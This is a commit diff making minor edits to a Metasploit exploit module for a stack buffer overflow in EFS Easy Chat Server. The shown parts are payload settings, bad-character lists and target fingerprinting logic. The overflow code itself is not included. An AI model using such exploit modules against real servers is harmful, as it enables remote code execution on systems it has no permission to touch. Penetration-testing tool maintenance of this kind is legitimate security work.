minor tweaks

git-svn-id: file:///home/svn/framework3/trunk@9697 4d416f70-5f16-0410-b530-b9f4589650da

modules/exploits/windows/http/efs_easychatserver_username.rb

@@ -21,7 +21,7 @@ class Metasploit3 < Msf::Exploit::Remote
 		super(update_info(info,
 			'Name'           => 'EFS Easy Chat Server Authentication Request Handling Buffer Overflow',
 			'Description'    => %q{
-				This module exploits a stack buffer overflow in EFS Software Easy Chat Server. By
+					This module exploits a stack buffer overflow in EFS Software Easy Chat Server. By
 				sending a overly long authentication request, an attacker may be able to execute
 				arbitrary code.
 
@@ -46,7 +46,7 @@ class Metasploit3 < Msf::Exploit::Remote
 			'Payload'        =>
 				{
 					'Space'    => 500,
-					'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
+					'BadChars' => "\x00\x0a\x0b\x0d\x20\x23\x25\x26\x2b\x2f\x3a\x3f\x5c",
 					'StackAdjustment' => -3500,
 				},
 			'Platform'       => 'win',
@@ -59,7 +59,6 @@ class Metasploit3 < Msf::Exploit::Remote
 
 		register_options(
 			[
-				Opt::RPORT(80),
 				OptString.new('PATH', [ true, "Installation path of Easy Chat Server",
 					"C:\\Program Files\\Easy Chat Server" ])
 			], self.class )
@@ -67,11 +66,11 @@ class Metasploit3 < Msf::Exploit::Remote
 
 	def auto_target
 		info = http_fingerprint
-		t = nil
+		# NOTE: Version 2.2 still reports "1.0" in the "Server" header
 		if (info =~ /Easy Chat Server\/1\.0/)
-			t = targets[0]
+			return targets[0]
 		end
-		t
+		nil
 	end
 
 	def check